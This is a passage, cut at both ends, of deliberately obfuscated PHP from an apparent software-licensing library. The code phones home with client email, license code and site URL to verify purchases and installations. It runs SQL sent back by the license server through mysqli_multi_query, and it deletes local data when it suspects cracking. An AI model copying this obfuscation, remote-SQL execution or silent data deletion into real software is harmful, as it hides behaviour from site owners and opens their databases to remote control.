    $product = $product == null ? APL_PRODUCT_ID : $product;
    if (
        !(
            !empty($notification_server_signature) &&
            !empty($ROOT_URL) &&
            isset($CLIENT_EMAIL) &&
            isset($LICENSE_CODE) &&
            !empty($root_ips_array)
        )
    ) {
        goto KIkV9;
    }
    if (
        !(
            hash(
                "\163\150\x61\62\65\66",
                implode("", $root_ips_array) .
                    $product .
                    $LICENSE_CODE .
                    $CLIENT_EMAIL .
                    $ROOT_URL .
                    gmdate("\131\55\x6d\55\144")
            ) == $notification_server_signature
        )
    ) {
        goto CC053;
    }
    $result = true;
    CC053:
    KIkV9:
    return $result;
}
function aplCheckSettings()
{
    $notifications_array = [];
    if (
        !(
            empty(APL_SALT) ||
            APL_SALT ==
                "\163\157\x6d\145\137\162\141\x6e\x64\157\x6d\x5f\x74\145\x78\164"
        )
    ) {
        goto WxXVO;
    }
    $notifications_array[] = APL_CORE_NOTIFICATION_INVALID_SALT;
    WxXVO:
    if (
        !(
            !filter_var(APL_ROOT_URL, FILTER_VALIDATE_URL) ||
            !ctype_alnum(substr(APL_ROOT_URL, -1))
        )
    ) {
        goto js46j;
    }
    $notifications_array[] = APL_CORE_NOTIFICATION_INVALID_ROOT_URL;
    js46j:
    if (filter_var(APL_PRODUCT_ID, FILTER_VALIDATE_INT)) {
        goto waXdH;
    }
    $notifications_array[] = APL_CORE_NOTIFICATION_INVALID_PRODUCT_ID;
    waXdH:
    if (aplValidateIntegerValue(APL_DAYS, 1, 365)) {
        goto f3UYj;
    }
    $notifications_array[] = APL_CORE_NOTIFICATION_INVALID_VERIFICATION_PERIOD;
    f3UYj:
    if (
        !(
            APL_STORAGE != "\104\x41\x54\x41\102\x41\123\x45" &&
            APL_STORAGE != "\106\x49\x4c\x45"
        )
    ) {
        goto X5AaO;
    }
    $notifications_array[] = APL_CORE_NOTIFICATION_INVALID_STORAGE;
    X5AaO:
    if (
        !(
            APL_STORAGE == "\104\x41\x54\101\x42\x41\123\x45" &&
            !ctype_alnum(str_ireplace(["\x5f"], "", APL_DATABASE_TABLE))
        )
    ) {
        goto pijfR;
    }
    $notifications_array[] = APL_CORE_NOTIFICATION_INVALID_TABLE;
    pijfR:
    if (
        !(
            APL_STORAGE == "\106\111\x4c\x45" &&
            !@is_writable(APL_DIRECTORY . "\57" . APL_LICENSE_FILE_LOCATION)
        )
    ) {
        goto PHYGA;
    }
    $notifications_array[] = APL_CORE_NOTIFICATION_INVALID_LICENSE_FILE;
    PHYGA:
    if (
        !(!empty(APL_ROOT_IP) && !filter_var(APL_ROOT_IP, FILTER_VALIDATE_IP))
    ) {
        goto dZpbm;
    }
    $notifications_array[] = APL_CORE_NOTIFICATION_INVALID_ROOT_IP;
    dZpbm:
    if (
        !(
            !empty(APL_ROOT_IP) &&
            !in_array(
                APL_ROOT_IP,
                gethostbynamel(aplGetRawDomain(APL_ROOT_URL))
            )
        )
    ) {
        goto P35C2;
    }
    $notifications_array[] = APL_CORE_NOTIFICATION_INVALID_DNS;
    P35C2:
    if (
        !(
            defined(
                "\101\x50\x4c\137\x52\117\x4f\124\137\x4e\x41\115\105\123\105\x52\x56\105\x52\x53"
            ) && !empty(APL_ROOT_NAMESERVERS)
        )
    ) {
        goto IMryR;
    }
    foreach (APL_ROOT_NAMESERVERS as $nameserver) {
        if (aplValidateRawDomain($nameserver)) {
            goto TqLnG;
        }
        $notifications_array[] = APL_CORE_NOTIFICATION_INVALID_ROOT_NAMESERVERS;
        goto N6Bba;
        TqLnG:
        oH7XN:
    }
    N6Bba:
    IMryR:
    if (
        !(
            defined(
                "\x41\120\114\137\122\117\x4f\124\137\116\x41\115\105\123\x45\122\126\105\122\123"
            ) && !empty(APL_ROOT_NAMESERVERS)
        )
    ) {
        goto r55pk;
    }
    $apl_root_nameservers_array = APL_ROOT_NAMESERVERS;
    $fetched_nameservers_array = [];
    $dns_records_array = dns_get_record(aplGetRawDomain(APL_ROOT_URL), DNS_NS);
    foreach ($dns_records_array as $record) {
        $fetched_nameservers_array[] = $record["\164\141\x72\147\145\164"];
        nUxPL:
    }
    Qavs_:
    $apl_root_nameservers_array = array_map(
        "\x73\164\x72\x74\x6f\x6c\x6f\167\145\x72",
        $apl_root_nameservers_array
    );
    $fetched_nameservers_array = array_map(
        "\x73\164\162\164\157\154\x6f\x77\145\162",
        $fetched_nameservers_array
    );
    sort($apl_root_nameservers_array);
    sort($fetched_nameservers_array);
    if (!($apl_root_nameservers_array != $fetched_nameservers_array)) {
        goto mMLhh;
    }
    $notifications_array[] = APL_CORE_NOTIFICATION_INVALID_DNS;
    mMLhh:
    r55pk:
    return $notifications_array;
}
function aplParseLicenseFile()
{
    $license_data_array = [];
    if (!@is_readable(APL_DIRECTORY . "\x2f" . APL_LICENSE_FILE_LOCATION)) {
        goto NbpNA;
    }
    $file_content = file_get_contents(
        APL_DIRECTORY . "\57" . APL_LICENSE_FILE_LOCATION
    );
    preg_match_all(
        "\x2f\x3c\50\133\101\55\x5a\x5f\135\53\51\76\x28\x2e\52\x3f\51\74\134\x2f\50\133\x41\55\132\x5f\135\x2b\x29\76\57",
        $file_content,
        $matches,
        PREG_SET_ORDER
    );
    if (empty($matches)) {
        goto hI0sT;
    }
    foreach ($matches as $value) {
        if (!(!empty($value[1]) && $value[1] == $value[3])) {
            goto lEugi;
        }
        $license_data_array[$value[1]] = $value[2];
        lEugi:
        x_aMj:
    }
    TKTm9:
    hI0sT:
    NbpNA:
    return $license_data_array;
}
function aplGetLicenseData($MYSQLI_LINK = null)
{
    $settings_row = [];
    if (!(APL_STORAGE == "\104\x41\124\101\x42\101\x53\x45")) {
        goto jSzxC;
    }
    $table_exist = @mysqli_query(
        $MYSQLI_LINK,
        "\x53\x48\117\127\x20\x54\101\102\x4c\105\123\40\114\x49\x4b\x45\x20\x27" .
            APL_DATABASE_TABLE .
            "\47"
    );
    if (!@mysqli_fetch_assoc($table_exist)) {
        goto f0xjG;
    }
    $settings_results = @mysqli_query(
        $MYSQLI_LINK,
        "\x53\105\x4c\105\103\x54\40\x2a\40\x46\x52\x4f\x4d\x20" .
            APL_DATABASE_TABLE
    );
    $settings_row = @mysqli_fetch_assoc($settings_results);
    f0xjG:
    jSzxC:
    if (!(APL_STORAGE == "\x46\111\x4c\105")) {
        goto B4ovf;
    }
    $settings_row = aplParseLicenseFile();
    B4ovf:
    return $settings_row;
}
function aplCheckConnection()
{
    $notifications_array = [];
    $content_array = aplCustomPost(
        APL_ROOT_URL .
            "\x2f\141\160\x6c\137\x63\x61\154\154\142\x61\143\x6b\163\57\x63\x6f\156\x6e\145\143\x74\x69\157\156\x5f\x74\x65\163\164\56\160\x68\x70",
        "\160\x72\x6f\x64\165\x63\164\x5f\151\x64\75" .
            rawurlencode(APL_PRODUCT_ID) .
            "\46\x63\x6f\x6e\x6e\145\x63\164\x69\x6f\156\x5f\150\141\x73\x68\x3d" .
            rawurlencode(
                hash(
                    "\163\x68\141\x32\x35\x36",
                    "\x63\157\x6e\156\145\x63\x74\x69\157\156\x5f\164\x65\163\x74"
                )
            )
    );
    if (!empty($content_array)) {
        goto EhPcC;
    }
    $notifications_array[
        "\x6e\x6f\x74\x69\146\151\143\x61\164\x69\157\156\x5f\x63\x61\163\145"
    ] =
        "\x6e\157\x74\151\x66\151\143\x61\164\151\x6f\x6e\x5f\x6e\157\x5f\143\x6f\x6e\x6e\145\143\x74\151\157\x6e";
    $notifications_array[
        "\x6e\157\x74\x69\146\x69\143\x61\164\151\157\156\x5f\164\x65\170\x74"
    ] = APL_NOTIFICATION_NO_CONNECTION;
    goto a43Pw;
    EhPcC:
    if (
        !(
            $content_array["\x62\157\144\x79"] !=
            "\74\x63\x6f\156\156\x65\x63\x74\x69\157\156\x5f\164\145\x73\164\76\x4f\x4b\x3c\57\143\x6f\x6e\156\x65\143\164\151\157\156\x5f\164\x65\x73\164\x3e"
        )
    ) {
        goto zLWv3;
    }
    $notifications_array[
        "\156\x6f\164\151\x66\151\143\141\x74\x69\157\x6e\137\143\x61\x73\x65"
    ] =
        "\156\157\x74\x69\146\151\143\141\x74\x69\157\x6e\137\x69\x6e\166\141\154\151\x64\x5f\x72\145\163\x70\157\x6e\x73\145";
    $notifications_array[
        "\x6e\x6f\164\x69\146\x69\x63\141\x74\x69\157\x6e\x5f\164\x65\x78\x74"
    ] = APL_NOTIFICATION_INVALID_RESPONSE;
    zLWv3:
    a43Pw:
    return $notifications_array;
}
function aplCheckData($MYSQLI_LINK = null)
{
    $error_detected = 0;
    $cracking_detected = 0;
    $data_check_result = false;
    extract(aplGetLicenseData($MYSQLI_LINK));
    if (
        !(
            !empty($ROOT_URL) &&
            !empty($INSTALLATION_HASH) &&
            !empty($INSTALLATION_KEY) &&
            !empty($LCD) &&
            !empty($LRD)
        )
    ) {
        goto NV_66;
    }
    $LCD = aplCustomDecrypt($LCD, APL_SALT . $INSTALLATION_KEY);
    $LRD = aplCustomDecrypt($LRD, APL_SALT . $INSTALLATION_KEY);
    if (
        !(
            !filter_var($ROOT_URL, FILTER_VALIDATE_URL) ||
            !ctype_alnum(substr($ROOT_URL, -1))
        )
    ) {
        goto oMJJ1;
    }
    $error_detected = 1;
    oMJJ1:
    if (
        !(
            filter_var(aplGetCurrentUrl(), FILTER_VALIDATE_URL) &&
            stristr(
                aplGetRootUrl(aplGetCurrentUrl(), 1, 1, 0, 1),
                aplGetRootUrl("{$ROOT_URL}\57", 1, 1, 0, 1)
            ) === false
        )
    ) {
        goto ONtyX;
    }
    $error_detected = 1;
    ONtyX:
    if (
        !(
            empty($INSTALLATION_HASH) ||
            $INSTALLATION_HASH !=
                hash(
                    "\163\x68\141\x32\65\x36",
                    $ROOT_URL . $CLIENT_EMAIL . $LICENSE_CODE
                )
        )
    ) {
        goto tARGM;
    }
    $error_detected = 1;
    tARGM:
    if (
        !(
            empty($INSTALLATION_KEY) ||
            !password_verify(
                $LRD,
                aplCustomDecrypt($INSTALLATION_KEY, APL_SALT . $ROOT_URL)
            )
        )
    ) {
        goto tnqvg;
    }
    $error_detected = 1;
    tnqvg:
    if (aplVerifyDateTime($LCD, "\131\55\x6d\55\x64")) {
        goto Q933E;
    }
    $error_detected = 1;
    Q933E:
    if (aplVerifyDateTime($LRD, "\x59\55\155\55\x64")) {
        goto BdmX1;
    }
    $error_detected = 1;
    BdmX1:
    if (
        !(
            aplVerifyDateTime($LCD, "\131\55\x6d\55\144") &&
            $LCD >
                date("\131\x2d\155\55\x64", strtotime("\53\x31\40\x64\141\171"))
        )
    ) {
        goto u4jpk;
    }
    $error_detected = 1;
    $cracking_detected = 1;
    u4jpk:
    if (
        !(
            aplVerifyDateTime($LRD, "\x59\x2d\x6d\x2d\x64") &&
            $LRD >
                date("\131\55\155\55\x64", strtotime("\x2b\x31\40\144\x61\x79"))
        )
    ) {
        goto k2W2n;
    }
    $error_detected = 1;
    $cracking_detected = 1;
    k2W2n:
    if (
        !(
            aplVerifyDateTime($LCD, "\x59\55\155\55\x64") &&
            aplVerifyDateTime($LRD, "\x59\x2d\155\55\144") &&
            $LCD > $LRD
        )
    ) {
        goto c0cPI;
    }
    $error_detected = 1;
    $cracking_detected = 1;
    c0cPI:
    if (!($cracking_detected == 1 && APL_DELETE_CRACKED == "\x59\x45\x53")) {
        goto hBQ0n;
    }
    aplDeleteData($MYSQLI_LINK);
    hBQ0n:
    if (!($error_detected != 1 && $cracking_detected != 1)) {
        goto CLgzh;
    }
    $data_check_result = true;
    CLgzh:
    NV_66:
    return $data_check_result;
}
function aplVerifyEnvatoPurchase($LICENSE_CODE = null)
{
    $notifications_array = [];
    $content_array = aplCustomPost(
        APL_ROOT_URL .
            "\x2f\141\x70\154\x5f\x63\x61\x6c\x6c\142\x61\x63\x6b\163\x2f\x76\145\162\x69\x66\171\137\x65\x6e\x76\141\164\157\x5f\160\165\x72\x63\x68\x61\x73\x65\x2e\x70\150\160",
        "\160\162\157\x64\165\x63\x74\x5f\151\x64\x3d" .
            rawurlencode(APL_PRODUCT_ID) .
            "\46\x6c\x69\x63\145\x6e\x73\145\137\x63\157\x64\x65\x3d" .
            rawurlencode($LICENSE_CODE) .
            "\x26\143\x6f\x6e\x6e\x65\x63\x74\x69\x6f\x6e\x5f\x68\x61\x73\150\x3d" .
            rawurlencode(
                hash(
                    "\x73\x68\141\62\65\x36",
                    "\x76\x65\162\151\146\171\137\x65\x6e\166\x61\164\x6f\x5f\160\x75\x72\143\x68\141\x73\x65"
                )
            )
    );
    if (!empty($content_array)) {
        goto BD52N;
    }
    $notifications_array[
        "\x6e\157\164\x69\x66\x69\x63\141\x74\x69\x6f\156\x5f\x63\x61\163\145"
    ] =
        "\x6e\x6f\164\151\x66\x69\x63\x61\164\x69\157\156\137\156\x6f\x5f\x63\157\156\156\x65\x63\164\x69\157\x6e";
    $notifications_array[
        "\156\157\x74\151\x66\151\143\141\164\151\157\156\x5f\x74\x65\x78\x74"
    ] = APL_NOTIFICATION_NO_CONNECTION;
    goto XR0wA;
    BD52N:
    if (
        !(
            $content_array["\142\157\144\171"] !=
            "\x3c\166\145\x72\x69\x66\x79\x5f\145\x6e\166\x61\x74\x6f\x5f\160\x75\162\143\x68\x61\x73\x65\x3e\x4f\113\x3c\57\x76\145\162\151\146\x79\137\145\x6e\166\141\x74\157\x5f\x70\165\x72\143\150\x61\x73\145\x3e"
        )
    ) {
        goto gUbC6;
    }
    $notifications_array[
        "\x6e\157\164\151\x66\x69\x63\x61\164\151\x6f\x6e\x5f\x63\x61\x73\145"
    ] =
        "\156\157\164\151\x66\151\x63\x61\164\151\x6f\156\137\151\156\x76\x61\x6c\x69\x64\137\162\x65\x73\x70\x6f\x6e\x73\145";
    $notifications_array[
        "\156\x6f\x74\151\x66\151\143\x61\164\151\x6f\x6e\x5f\x74\145\x78\x74"
    ] = APL_NOTIFICATION_INVALID_RESPONSE;
    gUbC6:
    XR0wA:
    return $notifications_array;
}
function incevioVerify(
    $ROOT_URL,
    $CLIENT_EMAIL,
    $LICENSE_CODE,
    $MYSQLI_LINK = null
) {
    $notifications_array = [];
    $apl_core_notifications = aplCheckSettings();
    if (empty($apl_core_notifications)) {
        goto SJIZD;
    }
    $notifications_array[
        "\x6e\157\164\x69\146\151\143\141\x74\151\x6f\156\137\143\141\x73\145"
    ] =
        "\x6e\157\x74\151\146\x69\x63\x61\x74\151\x6f\x6e\x5f\163\x63\162\x69\160\164\137\143\x6f\162\162\x75\x70\164\x65\x64";
    $notifications_array[
        "\156\157\x74\x69\146\151\143\141\164\151\157\x6e\137\164\x65\170\164"
    ] = implode("\x3b\x20", $apl_core_notifications);
    goto v8DSN;
    SJIZD:
    if (
        !empty(aplGetLicenseData($MYSQLI_LINK)) &&
        is_array(aplGetLicenseData($MYSQLI_LINK))
    ) {
        goto OtsK5;
    }
    $INSTALLATION_HASH = hash(
        "\163\x68\x61\62\65\66",
        $ROOT_URL . $CLIENT_EMAIL . $LICENSE_CODE
    );
    $post_info =
        "\x70\x72\x6f\x64\165\x63\x74\137\x69\144\75" .
        rawurlencode(APL_PRODUCT_ID) .
        "\x26\x63\x6c\x69\x65\x6e\x74\x5f\x65\155\x61\151\x6c\75" .
        rawurlencode($CLIENT_EMAIL) .
        "\46\154\151\x63\x65\x6e\163\145\137\143\157\x64\145\75" .
        rawurlencode($LICENSE_CODE) .
        "\x26\x72\x6f\157\164\137\x75\162\x6c\x3d" .
        rawurlencode($ROOT_URL) .
        "\46\x69\156\163\164\141\x6c\154\141\164\x69\x6f\x6e\x5f\x68\141\163\150\x3d" .
        rawurlencode($INSTALLATION_HASH) .
        "\46\x6c\151\x63\145\x6e\163\145\137\163\x69\147\x6e\x61\x74\165\x72\145\75" .
        rawurlencode(
            aplGenerateScriptSignature($ROOT_URL, $CLIENT_EMAIL, $LICENSE_CODE)
        );
    $content_array = aplCustomPost(
        APL_ROOT_URL .
            "\57\x61\160\154\x5f\x63\x61\x6c\154\142\141\143\x6b\163\57\154\x69\143\145\156\x73\145\137\x69\156\163\164\x61\154\154\56\x70\150\160",
        $post_info,
        $ROOT_URL
    );
    $notifications_array = aplParseServerNotifications(
        $content_array,
        $ROOT_URL,
        $CLIENT_EMAIL,
        $LICENSE_CODE
    );
    if (
        !(
            $notifications_array[
                "\x6e\157\x74\151\x66\x69\x63\141\x74\x69\x6f\x6e\137\x63\141\163\x65"
            ] ==
            "\156\157\x74\151\x66\x69\x63\141\x74\x69\157\156\137\154\151\143\x65\x6e\163\x65\137\x6f\x6b"
        )
    ) {
        goto CIawu;
    }
    $INSTALLATION_KEY = aplCustomEncrypt(
        password_hash(date("\x59\55\155\55\x64"), PASSWORD_DEFAULT),
        APL_SALT . $ROOT_URL
    );
    $LCD = aplCustomEncrypt(
        date(
            "\x59\55\x6d\x2d\x64",
            strtotime("\55" . APL_DAYS . "\x20\144\141\171\x73")
        ),
        APL_SALT . $INSTALLATION_KEY
    );
    $LRD = aplCustomEncrypt(
        date("\131\55\x6d\x2d\x64"),
        APL_SALT . $INSTALLATION_KEY
    );
    if (!(APL_STORAGE == "\104\x41\124\x41\102\101\123\x45")) {
        goto FZ2kU;
    }
    $content_array = aplCustomPost(
        APL_ROOT_URL .
            "\57\141\160\154\x5f\143\141\154\154\x62\x61\x63\x6b\x73\57\x6c\x69\x63\x65\x6e\163\x65\x5f\x73\143\x68\x65\x6d\145\x2e\160\150\160",
        $post_info,
        $ROOT_URL
    );
    $notifications_array = aplParseServerNotifications(
        $content_array,
        $ROOT_URL,
        $CLIENT_EMAIL,
        $LICENSE_CODE
    );
    if (
        !(
            !empty(
                $notifications_array[
                    "\156\x6f\x74\151\146\151\x63\141\164\x69\157\x6e\x5f\144\x61\164\141"
                ]
            ) &&
            !empty(
                $notifications_array[
                    "\156\x6f\x74\151\x66\x69\x63\141\x74\x69\157\x6e\x5f\144\x61\164\141"
                ]["\163\x63\x68\x65\x6d\145\x5f\x71\x75\145\162\x79"]
            )
        )
    ) {
        goto GK5HD;
    }
    $mysql_bad_array = [
        "\x25\x41\x50\x4c\137\104\101\x54\x41\x42\101\x53\x45\x5f\124\x41\102\x4c\105\45",
        "\45\122\117\117\x54\137\x55\122\x4c\45",
        "\45\103\114\x49\105\116\124\137\105\x4d\x41\x49\114\45",
        "\x25\x4c\x49\103\105\116\123\105\x5f\103\117\104\x45\x25",
        "\x25\114\x43\104\x25",
        "\x25\114\x52\x44\45",
        "\x25\x49\116\x53\x54\x41\114\114\101\124\111\x4f\x4e\137\113\105\x59\x25",
        "\45\x49\116\x53\x54\101\114\x4c\101\124\x49\117\116\x5f\110\101\x53\x48\45",
    ];
    $mysql_good_array = [
        APL_DATABASE_TABLE,
        $ROOT_URL,
        $CLIENT_EMAIL,
        $LICENSE_CODE,
        $LCD,
        $LRD,
        $INSTALLATION_KEY,
        $INSTALLATION_HASH,
    ];
    $license_scheme = str_replace(
        $mysql_bad_array,
        $mysql_good_array,
        $notifications_array[
            "\x6e\x6f\x74\x69\x66\x69\x63\141\164\x69\x6f\x6e\137\144\141\x74\x61"
        ]["\x73\x63\150\x65\x6d\x65\137\x71\165\145\162\171"]
    );
    mysqli_multi_query($MYSQLI_LINK, $license_scheme) or
        die(mysqli_error($MYSQLI_LINK));
    GK5HD:
    FZ2kU:
    if (!(APL_STORAGE == "\x46\111\114\x45")) {
        goto DX404;
    }
    $handle = @fopen(
        APL_DIRECTORY . "\57" . APL_LICENSE_FILE_LOCATION,
        "\x77\x2b"
    );
    $fwrite = @fwrite(
        $handle,
        "\74\122\117\x4f\124\137\x55\x52\114\76{$ROOT_URL}\x3c\57\122\x4f\x4f\x54\x5f\125\122\x4c\x3e\74\103\114\111\105\x4e\124\137\x45\115\x41\x49\x4c\76{$CLIENT_EMAIL}\74\x2f\x43\x4c\x49\x45\116\x54\x5f\x45\x4d\101\x49\114\76\74\114\111\x43\105\x4e\x53\x45\x5f\103\117\x44\105\76{$LICENSE_CODE}\x3c\x2f\x4c\111\103\105\x4e\123\105\x5f\x43\117\x44\105\76\74\x4c\103\104\76{$LCD}\x3c\57\114\x43\x44\x3e\x3c\114\x52\104\x3e{$LRD}\x3c\57\114\122\104\x3e\74\111\116\123\124\x41\x4c\114\x41\124\111\117\116\137\x4b\105\131\76{$INSTALLATION_KEY}\x3c\x2f\x49\x4e\123\x54\101\114\x4c\101\x54\x49\x4f\x4e\137\113\x45\131\76\x3c\x49\116\123\x54\x41\x4c\x4c\x41\x54\111\x4f\116\137\110\101\123\110\76{$INSTALLATION_HASH}\74\57\111\x4e\123\124\101\114\114\101\x54\111\x4f\x4e\137\x48\101\x53\110\x3e"
    );
    if (!($fwrite === false)) {
        goto wTMT2;
    }
    echo APL_NOTIFICATION_LICENSE_FILE_WRITE_ERROR;
    exit();
    wTMT2:
    @fclose($handle);
    DX404:
    CIawu:
    goto VNKIB;
    OtsK5:
    $notifications_array[
        "\x6e\157\164\151\x66\x69\x63\x61\164\151\157\x6e\137\143\x61\163\x65"
    ] =
        "\156\157\164\x69\x66\x69\143\x61\x74\x69\157\x6e\137\x61\154\162\145\141\x64\x79\x5f\x69\x6e\163\x74\x61\x6c\154\145\144";
    $notifications_array[
        "\156\x6f\x74\151\146\x69\x63\141\164\151\x6f\x6e\x5f\x74\x65\170\164"
    ] = APL_NOTIFICATION_SCRIPT_ALREADY_INSTALLED;
    VNKIB:
    v8DSN:
    return $notifications_array;
}
function preparePackageInstallation($installable)
{
    $notifications_array = [];
    $apl_core_notifications = aplCheckSettings();
    if (!empty($apl_core_notifications)) {
        goto C8gTx;
    }
    $MYSQLI_LINK = getMysqliConnection();
    $core_license = aplGetLicenseData($MYSQLI_LINK);
    if (!(empty($core_license) || !is_array($core_license))) {
        goto N2ayF;
    }
    throw new \Exception(
        "\x43\157\x72\x65\40\x73\143\x72\x69\x70\164\40\154\151\143\145\156\163\145\40" .
            "\166\x61\154\151\x64\x61\164\151\x6f\156" .
            "\x20\146\x61\151\x6c\145\144\x21\40\x50\x6c\x65\x61\x73\x65\x20\143\157\x6e\164\x61\143\164" .
            "\40\x73\165\x70\160\157\162\164\x20\x66\157\x72\40\150\x65\154\160\56"
    );
    N2ayF:
    $CLIENT_EMAIL =
        $core_license["\103\x4c\111\x45\116\x54\137\x45\115\x41\x49\114"];
    $LICENSE_CODE =
        $installable["\x6c\x69\143\x65\x6e\x73\x65\137\x6b\145\171"];
    $ROOT_URL = config("\141\160\160\x2e\x75\162\x6c");
    $INSTALLATION_HASH = hash(
        "\x73\150\x61\62\65\66",
        $ROOT_URL . $CLIENT_EMAIL . $LICENSE_CODE
    );
    $post_info =
        "\160\x72\157\144\x75\143\164\x5f\x69\x64\75" .
        rawurlencode($installable["\x69\144"]) .
        "\46\x63\x6c\x69\x65\x6e\x74\x5f\145\x6d\141\x69\x6c\x3d" .
        rawurlencode($CLIENT_EMAIL) .
        "\46\154\151\143\145\x6e\x73\x65\x5f\x63\157\x64\145\75" .
        rawurlencode($LICENSE_CODE) .
        "\x26\x72\157\157\164\137\165\162\x6c\75" .
        rawurlencode($ROOT_URL) .
        "\x26\151\156\x73\x74\x61\x6c\154\x61\x74\151\157\x6e\x5f\x68\x61\163\x68\x3d" .
        rawurlencode($INSTALLATION_HASH) .
        "\46\x6c\x69\x63\x65\156\x73\x65\137\x73\x69\147\x6e\141\x74\165\x72\x65\75" .
        rawurlencode(
            aplGenerateScriptSignature(
                $ROOT_URL,
                $CLIENT_EMAIL,
                $LICENSE_CODE,
                $installable["\x69\144"]
            )
        );
    $content_array = aplCustomPost(
        APL_ROOT_URL .
            "\x2f\x61\160\x6c\137\143\x61\x6c\154\142\x61\143\x6b\163\57\x6c\151\x63\x65\x6e\163\x65\137\x69\x6e\x73\x74\141\154\154\56\x70\x68\160",
        $post_info,
        $ROOT_URL
    );
    $notifications_array = aplParseServerNotifications(
        $content_array,
        $ROOT_URL,
        $CLIENT_EMAIL,
        $LICENSE_CODE,
        $installable["\x69\144"]
    );
    if (
        $notifications_array[
            "\156\157\164\x69\146\151\x63\141\164\x69\157\x6e\137\x63\141\163\x65"
        ] ==
        "\x6e\x6f\164\151\146\x69\x63\141\x74\151\x6f\x6e\x5f\x6c\x69\x63\145\156\x73\x65\137\x6f\x6b"
    ) {
        goto Hsfq2;
    }
    if (
        empty(
            $notifications_array[
                "\156\x6f\164\x69\x66\x69\143\x61\x74\x69\x6f\x6e\137\x74\x65\170\164"
            ]
        )
    ) {
        goto ScK3u;
    }
    throw new \Exception(
        "\x4c\151\x63\x65\x6e\x73\x65\40" .
            "\x76\x61\154\x69\x64\x61\164\151\x6f\x6e" .
            "\x20\x66\141\151\154\x65\144\x21\40" .
            $notifications_array[
                "\156\x6f\164\151\x66\x69\x63\141\x74\x69\x6f\x6e\x5f\x74\145\x78\x74"
            ]
    );
    ScK3u:
    goto s5ou2;
    Hsfq2:
    $INSTALLATION_KEY = aplCustomEncrypt(
        password_hash(date("\x59\x2d\155\55\x64"), PASSWORD_DEFAULT),
        APL_SALT . $ROOT_URL
    );
    $LCD = aplCustomEncrypt(
        date(
            "\131\x2d\x6d\55\144",
            strtotime("\55" . APL_DAYS . "\x20\x64\x61\x79\x73")
        ),
        APL_SALT . $INSTALLATION_KEY
    );
    $LRD = aplCustomEncrypt(
        date("\x59\x2d\155\55\x64"),
        APL_SALT . $INSTALLATION_KEY
    );
    $content_array = aplCustomPost(
        APL_ROOT_URL .
            "\57\x61\x70\x6c\137\143\x61\x6c\154\142\141\143\153\x73\x2f\x6c\151\x63\x65\x6e\x73\145\137\163\x63\150\145\155\x65\x2e\160\x68\160",
        $post_info,
        $ROOT_URL
    );
    $notifications_array = aplParseServerNotifications(
        $content_array,
        $ROOT_URL,
        $CLIENT_EMAIL,
        $LICENSE_CODE,
        $installable["\x69\144"]
    );
    if (
        !(
            !empty(
                $notifications_array[
                    "\x6e\x6f\164\x69\x66\x69\143\141\164\x69\x6f\156\x5f\x64\x61\164\141"
                ]
            ) &&
            !empty(
                $notifications_array[
                    "\x6e\x6f\164\151\x66\x69\143\x61\x74\151\157\x6e\x5f\x64\141\164\141"
                ]["\x73\x63\150\145\x6d\x65\137\161\165\x65\162\171"]
            )
        )
    ) {
        goto cP18I;
    }
    return [
        "\x69\156\163\x74\x61\154\x6c\x61\x74\151\157\156\137\x6b\145\x79" => $INSTALLATION_KEY,
        "\x69\x6e\163\x74\141\x6c\154\141\164\x69\x6f\156\x5f\150\x61\163\150" => $INSTALLATION_HASH,
        "\x6c\143\144" => $LCD,
        "\x6c\x72\x64" => $LRD,
    ];
    cP18I:
    s5ou2:
    C8gTx:
    throw new \Exception(
        "\114\x69\x63\145\156\163\x65\x20" .
            "\x76\x61\x6c\151\144\141\x74\151\157\156" .
            "\x20\146\x61\151\154\x65\x64\41\40\x50\x6c\x65\141\x73\x65\40\x63\x6f\156\x74\x61\143\x74" .
            "\40\x73\x75\x70\160\x6f\162\164\x20\146\157\x72\x20\150\x65\154\x70\56"
    );
}
function incevioAutoloadHelpers($MYSQLI_LINK = null, $FORCE_VERIFICATION = 0)
{
    $notifications_array = [];
    $update_lrd_value = 0;
    $update_lcd_value = 0;
    $updated_records = 0;
    $apl_core_notifications = aplCheckSettings();
    if (empty($apl_core_notifications)) {
        goto qf7V5;
    }
    $notifications_array[
        "\x6e\157\164\151\146\x69\x63\x61\164\151\x6f\x6e\137\143\x61\163\145"
    ] =
        "\156\x6f\x74\x69\x66\x69\x63\141\164\151\x6f\x6e\x5f\163\143\162\x69\x70\x74\137\x63\x6f\x72\162\x75\160\164\145\x64";
    $notifications_array[
        "\156\x6f\164\151\146\x69\143\141\164\151\157\156\x5f\164\145\x78\x74"
    ] = implode("\x3b\x20", $apl_core_notifications);
    goto rD3z9;
    qf7V5:
    if (aplCheckData($MYSQLI_LINK)) {
        goto PqwBu;
    }
    $notifications_array[
        "\x6e\157\x74\x69\146\x69\x63\141\x74\151\x6f\156\x5f\143\x61\x73\145"
    ] =
        "\x6e\157\x74\151\x66\151\143\x61\x74\151\157\x6e\137\x6c\151\x63\145\x6e\x73\145\137\x63\157\162\162\x75\x70\x74\x65\144";
    $notifications_array[
        "\156\157\x74\151\x66\151\x63\x61\x74\x69\x6f\156\137\164\x65\170\164"
    ] = APL_NOTIFICATION_LICENSE_CORRUPTED;
    goto EFoTa;
    PqwBu:
    extract(aplGetLicenseData($MYSQLI_LINK));
    if (
        aplGetDaysBetweenDates(
            aplCustomDecrypt($LCD, APL_SALT . $INSTALLATION_KEY),
            date("\x59\55\155\x2d\144")
        ) < APL_DAYS &&
        aplCustomDecrypt($LCD, APL_SALT . $INSTALLATION_KEY) <=
            date("\x59\55\x6d\x2d\144") &&
        aplCustomDecrypt($LRD, APL_SALT . $INSTALLATION_KEY) <=
            date("\x59\x2d\155\55\144") &&
        $FORCE_VERIFICATION === 0
    ) {
        goto gboIf;
    }
    $post_info =
        "\160\x72\157\144\165\x63\164\137\151\x64\75" .
        rawurlencode(APL_PRODUCT_ID) .
        "\x26\x63\154\151\x65\x6e\x74\137\x65\x6d\141\x69\154\75" .
        rawurlencode($CLIENT_EMAIL) .
        "\46\154\x69\143\145\156\x73\x65\137\x63\157\x64\145\75" .
        rawurlencode($LICENSE_CODE) .
        "\46\162\157\x6f\164\137\165\x72\x6c\x3d" .
        rawurlencode($ROOT_URL) .
        "\46\x69\156\x73\x74\141\154\154\141\x74\151\157\x6e\x5f\150\x61\163\150\75" .
        rawurlencode($INSTALLATION_HASH) .
        "\46\154\x69\x63\x65\156\163\145\x5f\163\151\x67\x6e\x61\x74\x75\x72\x65\75" .
        rawurlencode(
            aplGenerateScriptSignature($ROOT_URL, $CLIENT_EMAIL, $LICENSE_CODE)
        );
    $content_array = aplCustomPost(
        APL_ROOT_URL .
